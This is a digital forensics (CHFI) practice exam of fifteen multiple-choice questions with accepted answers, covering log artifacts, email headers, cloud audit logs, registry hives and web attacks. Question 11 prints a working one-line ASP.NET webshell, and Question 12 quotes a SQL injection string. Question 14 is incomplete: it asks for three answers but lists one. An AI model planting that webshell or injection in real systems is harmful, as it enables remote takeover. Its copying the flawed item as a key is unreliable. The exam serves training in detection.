CHFI Practice Test 24 — 15 Questions

Question 1

A forensic analyst examines a Mac system and runs "log show --predicate 'eventMessage contains "disk"' --last 1h" in Terminal. This command extracts Unified Log entries related to disk activity. Which macOS forensic artifact is the analyst MOST likely querying?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Apple Unified Logging. The 'log show' command with --predicate queries the Apple Unified Logging system, which centralizes logs from various subsystems.

Answer

.plist files

Answer

FSEvents

Answer

Core Storage logs

Question 2

Which tool is specifically designed to extract and analyze email metadata, including headers, from various email client formats such as PST and OST files?

Accepted Answer

Aid4Mail. Aid4Mail is a commercial forensic tool that can extract emails and metadata from PST, OST, MBOX, and other formats. EmailTracker is primarily for tracking email delivery, not forensic analysis of client files.

Answer

Wireshark

Answer

EmailTracker

Answer

FTK Imager

Question 3

Which of the following is a primary challenge in cloud forensics due to the shared responsibility model?

Accepted Answer

Inability to perform live acquisition of volatile data without cooperation from the cloud provider. The shared responsibility model means the cloud provider controls the infrastructure, limiting the investigator's ability to acquire volatile data without provider support.

Answer

Data is always stored in a single jurisdiction

Answer

Lack of encryption support

Answer

Cloud logs are immutable and cannot be altered

Question 4

During a forensic investigation, the first responder arrives at a scene where a computer is powered on and a user is logged in. Which of the following is the MOST appropriate initial action?

Accepted Answer

Disconnect the computer from the network and take a photograph of the screen. Securing the scene and documenting everything is the first priority to preserve evidence and ensure chain of custody. Powering off or accessing the system without proper documentation can lead to evidence spoliation.

Answer

Immediately power off the computer to prevent data alteration

Answer

Begin collecting data by copying all files to an external drive

Answer

Ask the user to save their work and then shut down normally

Question 5

During a cloud forensics investigation, an analyst examines AWS CloudTrail logs and finds an event with "userIdentity":{"type":"AssumedRole","arn":"arn:aws:sts::123456789012:assumed-role/AdminRole/i-0abcd1234efgh5678"}. What does the 'i-0abcd1234efgh5678' portion most likely represent?

Accepted Answer

The session name, which is typically the EC2 instance ID. In CloudTrail, when an EC2 instance assumes a role, the session name is often the instance ID. The 'i-' prefix and alphanumeric string indicate an EC2 instance ID.

Answer

The AWS account ID of the role's trusted entity

Answer

The role's unique identifier assigned by IAM

Answer

The unique ID of the IAM user who assumed the role

Question 6

A forensic analyst is examining a Docker container that was used to launch a DDoS attack. Which layer of a Docker image is most likely to contain the attacker's malicious scripts?

Accepted Answer

The topmost writable container layer. Docker images consist of read-only layers. The topmost writable layer (container layer) holds changes made at runtime, such as installing tools or scripts. The attack scripts would be in this layer.

Answer

The overlay filesystem layer

Answer

The volume mounted from the host

Answer

The base image layer

Question 7

Which tool is specifically designed to extract metadata from email messages, including tracking the route and identifying the originating IP address?

Accepted Answer

EmailTracker. EmailTracker is a tool that analyzes email headers to trace the path and identify the source IP, often used in email forensics.

Answer

Wireshark

Answer

MailXaminer

Answer

Outlook

Question 8

Which Windows registry hive stores user-specific configuration and is loaded when a user logs in, containing artifacts such as recently accessed files and application settings?

Accepted Answer

NTUSER.DAT. NTUSER.DAT is the registry hive that contains user-specific settings and is loaded into HKEY_CURRENT_USER upon logon. It includes UserAssist, MRU lists, and other user activity artifacts.

Answer

SECURITY

Answer

HKLM\SAM

Answer

SYSTEM

Question 9

In an email header, an analyst notices the following: 'Received: from mail.attacker.com (192.168.2.100) by mail.victim.com (Postfix) with ESMTP id ABC123 for <user@victim.com>; ...'. The 'From' address appears as 'ceo@victim.com'. Which type of attack is most likely?

Accepted Answer

Email spoofing. The email claims to be from 'ceo@victim.com' but was received from 'mail.attacker.com', indicating the sender forged the From address. This is email spoofing.

Answer

Man-in-the-middle

Answer

Malware attachment

Answer

Phishing

Question 10

In the context of the UK Police and Criminal Evidence Act (PACE), which of the following is a key requirement for the admissibility of digital evidence?

Accepted Answer

The evidence must be obtained lawfully and without oppression. PACE requires that evidence is not obtained through oppression or in violation of legal procedures, ensuring reliability and fairness.

Answer

The evidence must be stored on a write-protected medium

Answer

The evidence must be reviewed by an independent third party

Answer

The evidence must be encrypted at all times

Question 11

During a forensic investigation of a compromised web server, you find a file named 'cmd.aspx' in the uploads directory. The file contains: <%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c "+Request.QueryString["cmd"])).StandardOutput.ReadToEnd(); %>. What is the most likely purpose of this file?

Accepted Answer

It is a webshell used for remote command execution. This is a webshell that executes arbitrary operating system commands via the 'cmd' query parameter. It allows remote command execution on the server.

Answer

It is a database connection string

Answer

It is a legitimate ASP.NET application page for server management

Answer

It is a cross-site scripting payload

Question 12

A security analyst is reviewing Apache access logs and finds the entry: 192.168.1.100 - - [10/Mar/2025:08:12:34 +0000] "GET /search?q=test' OR '1'='1 HTTP/1.1" 200 532. Which attack does this log entry most likely indicate?

Accepted Answer

SQL injection (SQLi). The presence of ' OR '1'='1 in the query string is a classic SQL injection attempt, designed to bypass authentication or extract data.

Answer

Cross-site scripting (XSS)

Answer

Remote file inclusion (RFI)

Answer

Path traversal

Question 13

A cloud forensic investigator is examining AWS CloudTrail logs for signs of unauthorized access to an S3 bucket. Which of the following CloudTrail event names would indicate a successful attempt to list the objects in the bucket?

Accepted Answer

ListObjects. The ListObjects operation lists the objects in an S3 bucket; the CloudTrail event name is 'ListObjects'.

Answer

GetObject

Answer

PutObject

Answer

DeleteObject

Question 14

Which THREE of the following are indicators of a webshell in web server logs? (Select THREE)

Accepted Answer

POST requests to a script file with large payloads. Webshells are indicated by anomalous script files being accessed, POST requests to script files, and high request rates to a single script. These patterns suggest remote access and command execution.

Answer

Multiple GET requests to /index.html

Answer

Consistent 304 Not Modified responses

Question 15

In network forensics, an analyst captures traffic and sees a large number of ICMP echo requests from 10.0.0.1 to 10.0.0.2 with varying payload sizes. What is the most likely scenario?

Accepted Answer

A DoS attack using ICMP floods. The scenario describes a single source sending a large number of ICMP echo requests to a single destination with varying payload sizes. This is characteristic of an ICMP flood attack, a type of DoS attack where the attacker overwhelms the target with echo requests, consuming bandwidth and processing resources. The varying payload sizes may be an attempt to evade simple packet filters or to maximize resource consumption. In contrast, a ping sweep would involve sending requests to multiple destinations to discover live hosts, not a sustained high-volume stream to one host. Therefore, this is most likely a DoS attack, not reconnaissance.

Answer

Network reconnaissance (ping sweep)

Answer

A man-in-the-middle attack

Answer

A DNS amplification attack